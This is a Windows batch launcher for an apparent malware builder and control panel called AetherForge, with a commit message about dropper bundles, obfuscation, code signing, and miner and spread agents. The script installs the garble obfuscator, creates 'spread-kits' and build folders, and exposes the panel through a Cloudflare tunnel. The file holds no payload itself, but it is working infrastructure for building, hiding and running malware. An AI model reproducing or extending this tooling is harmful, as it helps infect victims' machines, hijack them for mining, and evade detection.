WS ticket dashboard auth, builder universal signing/size limits/fusion obfuscation/dropper bundles, Path Tracer WireGuard topology, SessionGate degraded mode and download timeouts, server bootstrap (data dir, cloudflared dedupe, config port precedence), agent mesh/miner/spread fixes. README refreshed; usb bundle repacked; PROBLEMS.md audit log updated.
184 lines
6.4 KiB
Batchfile
184 lines
6.4 KiB
Batchfile
@echo off
|
|
setlocal EnableExtensions EnableDelayedExpansion
|
|
title AetherForge Control Deck
|
|
cd /d "%~dp0"
|
|
|
|
:: Portable deck root = folder that contains AetherForge.exe (repo usb\ or copied USB drive)
|
|
if exist "%CD%\AetherForge.exe" (
|
|
set "ROOT=!CD!"
|
|
) else if exist "%CD%\usb\AetherForge.exe" (
|
|
cd /d "%CD%\usb"
|
|
set "ROOT=!CD!"
|
|
) else (
|
|
echo.
|
|
echo ERROR: AetherForge.exe not found.
|
|
echo Expected next to this script, or in usb\AetherForge.exe
|
|
echo Run pack-usb.bat from the repo to build the portable bundle.
|
|
echo.
|
|
pause
|
|
exit /b 1
|
|
)
|
|
|
|
if not exist "%ROOT%\AetherForge.exe" (
|
|
echo ERROR: AetherForge.exe missing in %ROOT%
|
|
pause
|
|
exit /b 1
|
|
)
|
|
|
|
echo ================================================================
|
|
echo AetherForge - Portable Control Deck
|
|
echo ================================================================
|
|
echo Deck: %ROOT%
|
|
echo.
|
|
|
|
:: ----------------------------------------------------------------
|
|
:: 1. Locate Go - prefer bundled toolchain, fall back to system Go
|
|
:: ----------------------------------------------------------------
|
|
set "BUNDLED_GO=%ROOT%\toolchain\go\bin\go.exe"
|
|
set "GO_BIN="
|
|
|
|
if exist "%ROOT%\toolchain\go" if not exist "%BUNDLED_GO%" (
|
|
echo [Go] Incomplete toolchain folder - removing broken install...
|
|
rd /s /q "%ROOT%\toolchain\go" 2>nul
|
|
)
|
|
|
|
if exist "%BUNDLED_GO%" (
|
|
echo [Go] Using bundled toolchain: %ROOT%\toolchain\go
|
|
set "GO_BIN=%ROOT%\toolchain\go\bin\go.exe"
|
|
set "GOROOT=%ROOT%\toolchain\go"
|
|
set "PATH=%ROOT%\toolchain\go\bin;%ROOT%\toolchain\gopath\bin;%PATH%"
|
|
goto go_ready
|
|
)
|
|
|
|
:: Check if Go is installed system-wide
|
|
where go >nul 2>nul
|
|
if not errorlevel 1 (
|
|
echo [Go] Using system Go installation.
|
|
set "GO_BIN=go"
|
|
goto go_ready
|
|
)
|
|
|
|
:: Go not found anywhere - skip optional tools, proceed directly to server
|
|
echo.
|
|
echo [Go] Go not found - Forge obfuscation tools unavailable. Running server without them.
|
|
echo.
|
|
goto server_launch
|
|
|
|
:go_ready
|
|
|
|
:: ----------------------------------------------------------------
|
|
:: 2. Pin all Go caches to the USB so module downloads travel with you
|
|
:: ----------------------------------------------------------------
|
|
set "GOPATH=%ROOT%\toolchain\gopath"
|
|
set "GOMODCACHE=%ROOT%\toolchain\gopath\pkg\mod"
|
|
set "GOCACHE=%ROOT%\toolchain\gocache"
|
|
set "GOENV=off"
|
|
|
|
:: ----------------------------------------------------------------
|
|
:: 3. Install optional Forge tools if missing (non-fatal)
|
|
:: ----------------------------------------------------------------
|
|
if /i not "%AF_INSTALL_TOOLS%"=="0" (
|
|
if not exist "%ROOT%\toolchain\gopath\bin\garble.exe" (
|
|
echo [Tools] Installing garble...
|
|
"%GO_BIN%" install mvdan.cc/garble@latest
|
|
if errorlevel 1 echo [Tools] WARN: garble install failed.
|
|
)
|
|
|
|
if not exist "%ROOT%\toolchain\gopath\bin\go-winres.exe" (
|
|
echo [Tools] Installing go-winres...
|
|
"%GO_BIN%" install github.com/tc-hib/go-winres@v0.3.1
|
|
if errorlevel 1 echo [Tools] WARN: go-winres install failed.
|
|
)
|
|
) else (
|
|
echo [Tools] Auto-install disabled ^(AF_INSTALL_TOOLS=0^).
|
|
)
|
|
|
|
:server_launch
|
|
|
|
:: ----------------------------------------------------------------
|
|
:: 4. Ensure data directories exist
|
|
:: ----------------------------------------------------------------
|
|
if not exist "%ROOT%\data\builds" mkdir "%ROOT%\data\builds"
|
|
if not exist "%ROOT%\data\logs" mkdir "%ROOT%\data\logs"
|
|
if not exist "%ROOT%\data\spread-kits" mkdir "%ROOT%\data\spread-kits"
|
|
if not exist "%ROOT%\data\uploads" mkdir "%ROOT%\data\uploads"
|
|
if not exist "%ROOT%\data\blueprints" mkdir "%ROOT%\data\blueprints"
|
|
if not exist "%ROOT%\data\preps" mkdir "%ROOT%\data\preps"
|
|
|
|
:: ----------------------------------------------------------------
|
|
:: 5. Detect LAN IP for display
|
|
:: ----------------------------------------------------------------
|
|
set "SERVER_PORT=8989"
|
|
set "CONFIG_FILE=%ROOT%\data\config.json"
|
|
if exist "%CONFIG_FILE%" (
|
|
for /f "usebackq delims=" %%P in (`powershell -NoProfile -Command "try { $j = Get-Content -Raw '%CONFIG_FILE%' | ConvertFrom-Json; if ($j.port) { $j.port } } catch { }"`) do (
|
|
if not "%%P"=="" set "SERVER_PORT=%%P"
|
|
)
|
|
)
|
|
for /f "tokens=2 delims=:" %%I in ('ipconfig ^| findstr /i "IPv4" ^| findstr /v "127.0.0.1"') do (
|
|
set "LAN_IP=%%I"
|
|
goto lan_done
|
|
)
|
|
set "LAN_IP=localhost"
|
|
:lan_done
|
|
set "LAN_IP=%LAN_IP: =%"
|
|
|
|
:: ----------------------------------------------------------------
|
|
:: 6. Kill any stale server and tunnel processes
|
|
:: ----------------------------------------------------------------
|
|
taskkill /F /IM AetherForge.exe >nul 2>nul
|
|
taskkill /F /IM cloudflared.exe >nul 2>nul
|
|
ping -n 2 127.0.0.1 >nul
|
|
|
|
echo.
|
|
echo ================================================================
|
|
echo STARTING CONTROL DECK
|
|
echo ================================================================
|
|
echo Local: http://localhost:%SERVER_PORT%
|
|
echo LAN: http://%LAN_IP%:%SERVER_PORT%
|
|
echo Data: %ROOT%\data\
|
|
echo.
|
|
echo Login accounts: admin + comrade ^(passwords below after start^).
|
|
echo Cloudflare tunnel starts below ^(LAUNCH + server^).
|
|
echo Press Ctrl+C to stop.
|
|
echo ================================================================
|
|
echo.
|
|
|
|
:: Start Cloudflare connector before server ^(works with old or new AetherForge.exe^)
|
|
set "CF_SCRIPT=%ROOT%\scripts\usb-start-cloudflared.ps1"
|
|
if not exist "%CF_SCRIPT%" set "CF_SCRIPT=%ROOT%\..\scripts\usb-start-cloudflared.ps1"
|
|
if exist "%CF_SCRIPT%" (
|
|
powershell -NoProfile -ExecutionPolicy Bypass -File "%CF_SCRIPT%" -DeckRoot "%ROOT%"
|
|
) else (
|
|
echo [Tunnel] WARNING: scripts\usb-start-cloudflared.ps1 missing - repack usb folder.
|
|
)
|
|
echo.
|
|
|
|
:: Open browser after short delay
|
|
start "" powershell -NoProfile -WindowStyle Hidden -Command "Start-Sleep -Seconds 3; Start-Process 'http://localhost:%SERVER_PORT%/'"
|
|
|
|
:: Launch server (LAUNCH already started cloudflared above — tell server not to spawn a second copy)
|
|
set "AF_TUNNEL_EXTERNAL=1"
|
|
"%ROOT%\AetherForge.exe" -data "%ROOT%\data"
|
|
set "EC=!ERRORLEVEL!"
|
|
|
|
if exist "%ROOT%\data\cloudflared.pid" (
|
|
for /f "usebackq" %%P in ("%ROOT%\data\cloudflared.pid") do (
|
|
taskkill /F /PID %%P >nul 2>nul
|
|
)
|
|
del "%ROOT%\data\cloudflared.pid" 2>nul
|
|
)
|
|
taskkill /F /IM cloudflared.exe >nul 2>nul
|
|
|
|
echo.
|
|
if "!EC!"=="0" (
|
|
echo [Server] Stopped normally.
|
|
) else (
|
|
echo [Server] Exited with code !EC!.
|
|
echo If port %SERVER_PORT% is in use, close other AetherForge windows and retry.
|
|
)
|
|
|
|
echo.
|
|
pause
|
|
endlocal
|